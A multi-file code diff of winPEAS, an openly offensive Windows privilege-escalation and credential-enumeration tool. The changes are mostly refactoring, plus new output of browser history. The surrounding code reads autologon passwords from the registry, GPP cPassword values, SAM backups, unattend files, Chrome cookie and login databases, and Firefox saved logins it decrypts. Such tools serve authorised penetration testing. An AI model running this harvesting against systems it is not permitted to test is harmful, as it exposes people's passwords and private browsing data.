@@ -106,7 +105,7 @@ namespace winPEAS.Info.UserInfo
Down, Down,
Init Init
} }
public static void CloseServer(IntPtr ServerHandle) public static void CloseServer(IntPtr ServerHandle)
{ {
Wtsapi32.WTSCloseServer(ServerHandle); Wtsapi32.WTSCloseServer(ServerHandle);
@@ -145,7 +144,7 @@ namespace winPEAS.Info.UserInfo
[MarshalAs(UnmanagedType.LPStr)] [MarshalAs(UnmanagedType.LPStr)]
public String pFarmName; public String pFarmName;
} }
public static IntPtr OpenServer(String Name) public static IntPtr OpenServer(String Name)
{ {
IntPtr server = Wtsapi32.WTSOpenServer(Name); IntPtr server = Wtsapi32.WTSOpenServer(Name);
@@ -215,7 +214,7 @@ namespace winPEAS.Info.UserInfo
} }
return results; return results;
} }
// https://stackoverflow.com/questions/31464835/how-to-programmatically-check-the-password-must-meet-complexity-requirements-g // https://stackoverflow.com/questions/31464835/how-to-programmatically-check-the-password-must-meet-complexity-requirements-g
public static List<Dictionary<string, string>> GetPasswordPolicy() public static List<Dictionary<string, string>> GetPasswordPolicy()
{ {
@@ -247,18 +246,19 @@ namespace winPEAS.Info.UserInfo
Beaprint.GrayPrint(string.Format(" [X] Exception: {0}", ex)); Beaprint.GrayPrint(string.Format(" [X] Exception: {0}", ex));
} }
return results; return results;
} }
public static Dictionary<string, string> GetAutoLogon() public static Dictionary<string, string> GetAutoLogon()
{ {
Dictionary<string, string> results = new Dictionary<string, string>(); Dictionary<string, string> results = new Dictionary<string, string>
{
results["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName"); ["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName"),
results["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName"); ["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName"),
results["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword"); ["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword"),
results["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName"); ["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName"),
results["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName"); ["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName"),
results["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword"); ["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword")
};
return results; return results;
} }
@@ -281,7 +281,7 @@ namespace winPEAS.Info.UserInfo
c = $"{Clipboard.GetFileDropList()}"; c = $"{Clipboard.GetFileDropList()}";
//else if (Clipboard.ContainsImage()) //No system.Drwing import //else if (Clipboard.ContainsImage()) //No system.Drwing import
//c = string.Format("{0}", Clipboard.GetImage()); //c = string.Format("{0}", Clipboard.GetImage());
} }
catch (Exception ex) catch (Exception ex)
{ {

View File

@@ -29,6 +29,6 @@
AllowSmartCardRedirection = allowSmartCardRedirection; AllowSmartCardRedirection = allowSmartCardRedirection;
BlockPnPDeviceRedirection = blockPnPDeviceRedirection; BlockPnPDeviceRedirection = blockPnPDeviceRedirection;
BlockPrinterRedirection = blockPrinterRedirection; BlockPrinterRedirection = blockPrinterRedirection;
} }
} }
} }

View File

@@ -15,7 +15,7 @@ namespace winPEAS.InterestingFiles
try try
{ {
string allUsers = System.Environment.GetEnvironmentVariable("ALLUSERSPROFILE"); string allUsers = Environment.GetEnvironmentVariable("ALLUSERSPROFILE");
if (!allUsers.Contains("ProgramData")) if (!allUsers.Contains("ProgramData"))
{ {
@@ -225,11 +225,13 @@ namespace winPEAS.InterestingFiles
Changed = "[BLANK]"; Changed = "[BLANK]";
} }
results[file] = new Dictionary<string, string>(); results[file] = new Dictionary<string, string>
results[file]["UserName"] = UserName; {
results[file]["NewName"] = NewName; ["UserName"] = UserName,
results[file]["cPassword"] = cPassword; ["NewName"] = NewName,
results[file]["Changed"] = Changed; ["cPassword"] = cPassword,
["Changed"] = Changed
};
} }
} }
catch (Exception ex) catch (Exception ex)

View File

@@ -9,9 +9,9 @@ using winPEAS.Helpers.Search;
namespace winPEAS.InterestingFiles namespace winPEAS.InterestingFiles
{ {
internal static class InterestingFiles internal static class InterestingFiles
{ {
public static List<string> GetSAMBackups() public static List<string> GetSAMBackups()
{ {
//From SharpUP //From SharpUP
var results = new List<string>(); var results = new List<string>();
@@ -28,7 +28,7 @@ namespace winPEAS.InterestingFiles
$@"{systemRoot}\System32\config\RegBack\SYSTEM", $@"{systemRoot}\System32\config\RegBack\SYSTEM",
}; };
results.AddRange(searchLocations.Where(searchLocation => System.IO.File.Exists(searchLocation))); results.AddRange(searchLocations.Where(searchLocation => File.Exists(searchLocation)));
} }
catch (Exception ex) catch (Exception ex)
{ {
@@ -40,7 +40,7 @@ namespace winPEAS.InterestingFiles
public static List<string> GetLinuxShells() public static List<string> GetLinuxShells()
{ {
var results = new List<string>(); var results = new List<string>();
try try
{ {
string drive = Environment.GetEnvironmentVariable("SystemDrive"); string drive = Environment.GetEnvironmentVariable("SystemDrive");
@@ -90,7 +90,7 @@ namespace winPEAS.InterestingFiles
Beaprint.GrayPrint("Error: " + ex); Beaprint.GrayPrint("Error: " + ex);
} }
return results; return results;
} }
public static List<Dictionary<string, string>> GetRecycleBin() public static List<Dictionary<string, string>> GetRecycleBin()
{ {
@@ -102,7 +102,7 @@ namespace winPEAS.InterestingFiles
// Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files // Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files
int lastDays = 30; int lastDays = 30;
var startTime = System.DateTime.Now.AddDays(-lastDays); var startTime = DateTime.Now.AddDays(-lastDays);
// Shell COM object GUID // Shell COM object GUID
Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000")); Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000"));

View File

@@ -40,7 +40,7 @@ namespace winPEAS.InterestingFiles
try try
{ {
var winDir = System.Environment.GetEnvironmentVariable("windir"); var winDir = Environment.GetEnvironmentVariable("windir");
string[] searchLocations = string[] searchLocations =
{ {
$"{winDir}\\sysprep\\sysprep.xml", $"{winDir}\\sysprep\\sysprep.xml",
@@ -56,7 +56,7 @@ namespace winPEAS.InterestingFiles
$"{winDir}\\..\\unattend.inf", $"{winDir}\\..\\unattend.inf",
}; };
results.AddRange(searchLocations.Where(System.IO.File.Exists)); results.AddRange(searchLocations.Where(File.Exists));
} }
catch (Exception ex) catch (Exception ex)
{ {

View File

@@ -10,7 +10,7 @@ namespace winPEAS.KnownFileCreds.Browsers
public abstract string Name { get; } public abstract string Name { get; }
public abstract IEnumerable<CredentialModel> GetSavedCredentials(); public abstract IEnumerable<CredentialModel> GetSavedCredentials();
public abstract void PrintInfo(); public abstract void PrintInfo();
public virtual void PrintSavedCredentials() public virtual void PrintSavedCredentials()
{ {

View File

@@ -1,6 +1,7 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.IO; using System.IO;
using System.Linq;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using System.Web.Script.Serialization; using System.Web.Script.Serialization;
using winPEAS.Checks; using winPEAS.Checks;
@@ -27,7 +28,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
{ {
Beaprint.MainPrint("Looking for Chrome DBs"); Beaprint.MainPrint("Looking for Chrome DBs");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
Dictionary<string, string> chromeDBs = Chrome.GetChromeDbs(); Dictionary<string, string> chromeDBs = GetChromeDbs();
if (chromeDBs.ContainsKey("userChromeCookiesPath")) if (chromeDBs.ContainsKey("userChromeCookiesPath"))
{ {
@@ -59,7 +60,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
{ {
Beaprint.MainPrint("Looking for GET credentials in Chrome history"); Beaprint.MainPrint("Looking for GET credentials in Chrome history");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
Dictionary<string, List<string>> chromeHistBook = Chrome.GetChromeHistBook(); Dictionary<string, List<string>> chromeHistBook = GetChromeHistBook();
List<string> history = chromeHistBook["history"]; List<string> history = chromeHistBook["history"];
List<string> bookmarks = chromeHistBook["bookmarks"]; List<string> bookmarks = chromeHistBook["bookmarks"];
@@ -77,8 +78,11 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
Beaprint.AnsiPrint(" " + url, colorsB); Beaprint.AnsiPrint(" " + url, colorsB);
} }
} }
Console.WriteLine(); Console.WriteLine();
int limit = 50;
Beaprint.MainPrint($"Chrome history -- limit {limit}\n");
Beaprint.ListPrint(history.Take(limit).ToList());
} }
else else
{ {
@@ -130,14 +134,14 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
else else
{ {
string userChromeCookiesPath = string userChromeCookiesPath =
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"; $"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies";
if (File.Exists(userChromeCookiesPath)) if (File.Exists(userChromeCookiesPath))
{ {
results["userChromeCookiesPath"] = userChromeCookiesPath; results["userChromeCookiesPath"] = userChromeCookiesPath;
} }
string userChromeLoginDataPath = string userChromeLoginDataPath =
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"; $"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
if (File.Exists(userChromeLoginDataPath)) if (File.Exists(userChromeLoginDataPath))
{ {
results["userChromeLoginDataPath"] = userChromeLoginDataPath; results["userChromeLoginDataPath"] = userChromeLoginDataPath;
@@ -156,7 +160,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
List<string> results = new List<string>(); List<string> results = new List<string>();
// parses a Chrome history file via regex // parses a Chrome history file via regex
if (System.IO.File.Exists(path)) if (File.Exists(path))
{ {
Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?"); Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?");
@@ -217,10 +221,10 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
} }
else else
{ {
string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", System.Environment.GetEnvironmentVariable("USERPROFILE")); string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", Environment.GetEnvironmentVariable("USERPROFILE"));
results["history"] = ParseChromeHistory(userChromeHistoryPath); results["history"] = ParseChromeHistory(userChromeHistoryPath);
string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", System.Environment.GetEnvironmentVariable("USERPROFILE")); string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", Environment.GetEnvironmentVariable("USERPROFILE"));
results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath); results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath);
} }
@@ -241,7 +245,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
{ {
try try
{ {
string contents = System.IO.File.ReadAllText(path); string contents = File.ReadAllText(path);
// reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/ // reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/
JavaScriptSerializer json = new JavaScriptSerializer(); JavaScriptSerializer json = new JavaScriptSerializer();

View File

@@ -9,9 +9,9 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
/// Firefox helper class /// Firefox helper class
/// </summary> /// </summary>
static class FFDecryptor static class FFDecryptor
{ {
static IntPtr NSS3; static IntPtr NSS3;
[UnmanagedFunctionPointer(CallingConvention.Cdecl)] [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate long DLLFunctionDelegate(string configdir); public delegate long DLLFunctionDelegate(string configdir);

View File

@@ -1,10 +1,4 @@
using System; namespace winPEAS.KnownFileCreds.Browsers.Firefox
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace winPEAS.KnownFileCreds.Browsers.Firefox
{ {
class FFLogins class FFLogins
{ {

View File

@@ -4,11 +4,11 @@ using System.Data;
using System.IO; using System.IO;
using System.Linq; using System.Linq;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using System.Web.Script.Serialization;
using winPEAS._3rdParty.SQLite;
using winPEAS.Checks; using winPEAS.Checks;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.KnownFileCreds.Browsers.Models; using winPEAS.KnownFileCreds.Browsers.Models;
using winPEAS._3rdParty.SQLite;
using System.Web.Script.Serialization;
namespace winPEAS.KnownFileCreds.Browsers.Firefox namespace winPEAS.KnownFileCreds.Browsers.Firefox
{ {
@@ -29,7 +29,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
{ {
Beaprint.MainPrint("Looking for Firefox DBs"); Beaprint.MainPrint("Looking for Firefox DBs");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
List<string> firefoxDBs = Firefox.GetFirefoxDbs(); List<string> firefoxDBs = GetFirefoxDbs();
if (firefoxDBs.Count > 0) if (firefoxDBs.Count > 0)
{ {
foreach (string firefoxDB in firefoxDBs) //No Beaprints because line needs red foreach (string firefoxDB in firefoxDBs) //No Beaprints because line needs red
@@ -56,21 +56,26 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
{ {
Beaprint.MainPrint("Looking for GET credentials in Firefox history"); Beaprint.MainPrint("Looking for GET credentials in Firefox history");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
List<string> firefoxHist = Firefox.GetFirefoxHistory(); List<string> history = GetFirefoxHistory();
if (firefoxHist.Count > 0) if (history.Count > 0)
{ {
Dictionary<string, string> colorsB = new Dictionary<string, string>() Dictionary<string, string> colorsB = new Dictionary<string, string>()
{ {
{ Globals.PrintCredStrings, Beaprint.ansi_color_bad }, { Globals.PrintCredStrings, Beaprint.ansi_color_bad },
}; };
foreach (string url in firefoxHist) foreach (string url in history)
{ {
if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex)) if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex))
{ {
Beaprint.AnsiPrint(" " + url, colorsB); Beaprint.AnsiPrint(" " + url, colorsB);
} }
} }
Console.WriteLine();
int limit = 50;
Beaprint.MainPrint($"Firefox history -- limit {limit}\n");
Beaprint.ListPrint(history.Take(limit).ToList());
} }
else else
{ {
@@ -101,7 +106,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
{ {
string userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"; string userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\";
if (System.IO.Directory.Exists(userFirefoxBasePath)) if (Directory.Exists(userFirefoxBasePath))
{ {
var directories = Directory.EnumerateDirectories(userFirefoxBasePath); var directories = Directory.EnumerateDirectories(userFirefoxBasePath);
foreach (string directory in directories) foreach (string directory in directories)
@@ -249,25 +254,28 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
foreach (string dir in dirs) foreach (string dir in dirs)
{ {
string[] files = Directory.EnumerateFiles(dir, "signons.sqlite").ToArray(); if (Directory.Exists(dir))
if (files.Length > 0)
{ {
signonsFile = files[0]; string[] files = Directory.EnumerateFiles(dir, "signons.sqlite").ToArray();
signonsFound = true; if (files.Length > 0)
} {
signonsFile = files[0];
signonsFound = true;
}
// find &quot;logins.json"file // find &quot;logins.json"file
files = Directory.EnumerateFiles(dir, "logins.json").ToArray(); files = Directory.EnumerateFiles(dir, "logins.json").ToArray();
if (files.Length > 0) if (files.Length > 0)
{ {
loginsFile = files[0]; loginsFile = files[0];
loginsFound = true; loginsFound = true;
} }
if (loginsFound || signonsFound) if (loginsFound || signonsFound)
{ {
FFDecryptor.NSS_Init(dir); FFDecryptor.NSS_Init(dir);
break; break;
}
} }
} }
@@ -313,8 +321,8 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
foreach (Browsers.Firefox.LoginData loginData in ffLoginData.logins) foreach (Browsers.Firefox.LoginData loginData in ffLoginData.logins)
{ {
string username = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedUsername); string username = FFDecryptor.Decrypt(loginData.encryptedUsername);
string password = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedPassword); string password = FFDecryptor.Decrypt(loginData.encryptedPassword);
logins.Add(new CredentialModel logins.Add(new CredentialModel
{ {
Username = username, Username = username,
@@ -325,9 +333,9 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
} }
} }
catch (Exception e) catch (Exception e)
{ {
} }
return logins; return logins;
} }
} }

View File

@@ -5,7 +5,7 @@ namespace winPEAS.KnownFileCreds.Browsers
{ {
internal interface IBrowser internal interface IBrowser
{ {
string Name { get; } string Name { get; }
void PrintInfo(); void PrintInfo();
IEnumerable<CredentialModel> GetSavedCredentials(); IEnumerable<CredentialModel> GetSavedCredentials();
} }

View File

@@ -1,11 +1,11 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.IO; using System.IO;
using System.Linq; using System.Linq;
using System.Reflection; using System.Reflection;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using Microsoft.Win32;
using winPEAS.Checks; using winPEAS.Checks;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
@@ -30,7 +30,7 @@ namespace winPEAS.KnownFileCreds.Browsers
{ {
Beaprint.MainPrint("Current IE tabs"); Beaprint.MainPrint("Current IE tabs");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
List<string> urls = InternetExplorer.GetCurrentIETabs(); List<string> urls = GetCurrentIETabs();
Dictionary<string, string> colorsB = new Dictionary<string, string>() Dictionary<string, string> colorsB = new Dictionary<string, string>()
{ {
@@ -51,9 +51,9 @@ namespace winPEAS.KnownFileCreds.Browsers
{ {
Beaprint.MainPrint("Looking for GET credentials in IE history"); Beaprint.MainPrint("Looking for GET credentials in IE history");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
Dictionary<string, List<string>> chromeHistBook = InternetExplorer.GetIEHistFav(); Dictionary<string, List<string>> ieHistoryBook = GetIEHistFav();
List<string> history = chromeHistBook["history"]; List<string> history = ieHistoryBook["history"];
List<string> favorites = chromeHistBook["favorites"]; List<string> favorites = ieHistoryBook["favorites"];
if (history.Count > 0) if (history.Count > 0)
{ {
@@ -69,8 +69,15 @@ namespace winPEAS.KnownFileCreds.Browsers
Beaprint.AnsiPrint(" " + url, colorsB); Beaprint.AnsiPrint(" " + url, colorsB);
} }
} }
Console.WriteLine(); Console.WriteLine();
int limit = 50;
Beaprint.MainPrint($"IE history -- limit {limit}\n");
Beaprint.ListPrint(history.Take(limit).ToList());
}
else
{
Beaprint.NotFoundPrint();
} }
Beaprint.MainPrint("IE favorites"); Beaprint.MainPrint("IE favorites");
@@ -91,7 +98,7 @@ namespace winPEAS.KnownFileCreds.Browsers
{ "favorites", new List<string>() }, { "favorites", new List<string>() },
}; };
DateTime startTime = System.DateTime.Now.AddDays(-lastDays); DateTime startTime = DateTime.Now.AddDays(-lastDays);
try try
{ {
@@ -167,39 +174,31 @@ namespace winPEAS.KnownFileCreds.Browsers
{ {
foreach (KeyValuePair<string, object> kvp in settings) foreach (KeyValuePair<string, object> kvp in settings)
{ {
byte[] timeBytes = RegistryHelper.GetRegValueBytes("HKCU", "SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime", kvp.Key.ToString().Trim()); results["history"].Add(kvp.Value.ToString().Trim());
if (timeBytes != null)
{
long timeLong = (long)(BitConverter.ToInt64(timeBytes, 0));
DateTime urlTime = DateTime.FromFileTime(timeLong);
if (urlTime > startTime)
{
results["history"].Add(kvp.Value.ToString().Trim());
}
}
} }
} }
string userIEBookmarkPath = string.Format("{0}\\Favorites\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); string userIEBookmarkPath = string.Format("{0}\\Favorites\\", Environment.GetEnvironmentVariable("USERPROFILE"));
if (Directory.Exists(userIEBookmarkPath))
string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories).ToArray();
foreach (string bookmarkPath in bookmarkPaths)
{ {
using (StreamReader rdr = new StreamReader(bookmarkPath)) string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories).ToArray();
foreach (string bookmarkPath in bookmarkPaths)
{ {
string line; using (StreamReader rdr = new StreamReader(bookmarkPath))
string url = "";
while ((line = rdr.ReadLine()) != null)
{ {
if (line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase)) string line;
string url = "";
while ((line = rdr.ReadLine()) != null)
{ {
if (line.Length > 4) if (line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase))
url = line.Substring(4); {
break; if (line.Length > 4)
url = line.Substring(4);
break;
}
} }
results["favorites"].Add(url.ToString().Trim());
} }
results["favorites"].Add(url.ToString().Trim());
} }
} }
} }
@@ -271,7 +270,7 @@ namespace winPEAS.KnownFileCreds.Browsers
public override IEnumerable<CredentialModel> GetSavedCredentials() public override IEnumerable<CredentialModel> GetSavedCredentials()
{ {
// unsupported // unsupported
var result = new List<CredentialModel>(); var result = new List<CredentialModel>();
return result; return result;
} }
} }

View File

@@ -1,7 +1,7 @@
using System; using System;
namespace winPEAS.KnownFileCreds.Kerberos namespace winPEAS.KnownFileCreds.Kerberos
{ {
public enum KERB_ENCRYPTION_TYPE : UInt32 public enum KERB_ENCRYPTION_TYPE : UInt32
{ {
reserved0 = 0, reserved0 = 0,

View File

@@ -29,7 +29,7 @@ namespace winPEAS.KnownFileCreds.Kerberos
} }
catch (Exception e) catch (Exception e)
{ {
} }
return lsaHandle; return lsaHandle;
} }

View File

@@ -1,4 +1,5 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.IO; using System.IO;
using System.Linq; using System.Linq;
@@ -6,14 +7,13 @@ using System.Reflection;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Text; using System.Text;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using Microsoft.Win32;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
namespace winPEAS.KnownFileCreds namespace winPEAS.KnownFileCreds
{ {
static class KnownFileCredsInfo static class KnownFileCredsInfo
{ {
public static Dictionary<string, object> GetRecentRunCommands() public static Dictionary<string, object> GetRecentRunCommands()
{ {
Dictionary<string, object> results = new Dictionary<string, object>(); Dictionary<string, object> results = new Dictionary<string, object>();
@@ -34,7 +34,7 @@ namespace winPEAS.KnownFileCreds
results = RegistryHelper.GetRegValues("HKCU", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU"); results = RegistryHelper.GetRegValues("HKCU", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU");
} }
return results; return results;
} }
public static List<Dictionary<string, string>> ListCloudCreds() public static List<Dictionary<string, string>> ListCloudCreds()
{ {
@@ -76,7 +76,7 @@ namespace winPEAS.KnownFileCreds
else else
{ {
var currentUserDir = Environment.GetEnvironmentVariable("USERPROFILE"); var currentUserDir = Environment.GetEnvironmentVariable("USERPROFILE");
userDirs = new List<string>{ currentUserDir }; userDirs = new List<string> { currentUserDir };
} }
foreach (var userDir in userDirs) foreach (var userDir in userDirs)
@@ -107,7 +107,7 @@ namespace winPEAS.KnownFileCreds
DateTime lastModified = File.GetLastWriteTime(filePath); DateTime lastModified = File.GetLastWriteTime(filePath);
long size = new FileInfo(filePath).Length; long size = new FileInfo(filePath).Length;
results?.Add(new Dictionary<string, string> results?.Add(new Dictionary<string, string>
{ {
{ "file", filePath }, { "file", filePath },
{ "Description", description }, { "Description", description },
@@ -123,7 +123,7 @@ namespace winPEAS.KnownFileCreds
// parses recent file shortcuts via COM // parses recent file shortcuts via COM
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>(); List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
int lastDays = 7; int lastDays = 7;
DateTime startTime = System.DateTime.Now.AddDays(-lastDays); DateTime startTime = DateTime.Now.AddDays(-lastDays);
try try
{ {
@@ -145,31 +145,34 @@ namespace winPEAS.KnownFileCreds
string recentPath = string.Format("{0}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", dir); string recentPath = string.Format("{0}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", dir);
try try
{ {
string[] recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories).ToArray(); if (Directory.Exists(recentPath))
if (recentFiles.Length != 0)
{ {
Console.WriteLine(" {0} :\r\n", userName); string[] recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories).ToArray();
foreach (string recentFile in recentFiles)
if (recentFiles.Length != 0)
{ {
DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile); Console.WriteLine(" {0} :\r\n", userName);
foreach (string recentFile in recentFiles)
if (lastAccessed > startTime)
{ {
// invoke the WshShell com object, creating a shortcut to then extract the TargetPath from DateTime lastAccessed = File.GetLastAccessTime(recentFile);
Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });
Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { });
if (TargetPath.ToString().Trim() != "") if (lastAccessed > startTime)
{ {
results.Add(new Dictionary<string, string>() // invoke the WshShell com object, creating a shortcut to then extract the TargetPath from
Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });
Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { });
if (TargetPath.ToString().Trim() != "")
{
results.Add(new Dictionary<string, string>()
{ {
{ "Target", TargetPath.ToString() }, { "Target", TargetPath.ToString() },
{ "Accessed", string.Format("{0}", lastAccessed) } { "Accessed", string.Format("{0}", lastAccessed) }
}); });
}
Marshal.ReleaseComObject(shortcut);
shortcut = null;
} }
Marshal.ReleaseComObject(shortcut);
shortcut = null;
} }
} }
} }
@@ -180,33 +183,35 @@ namespace winPEAS.KnownFileCreds
} }
else else
{ {
string recentPath = string.Format("{0}\\Microsoft\\Windows\\Recent\\", System.Environment.GetEnvironmentVariable("APPDATA")); string recentPath = string.Format("{0}\\Microsoft\\Windows\\Recent\\", Environment.GetEnvironmentVariable("APPDATA"));
if (Directory.Exists(recentPath))
var recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories);
foreach (string recentFile in recentFiles)
{ {
// old method (needed interop dll) var recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories);
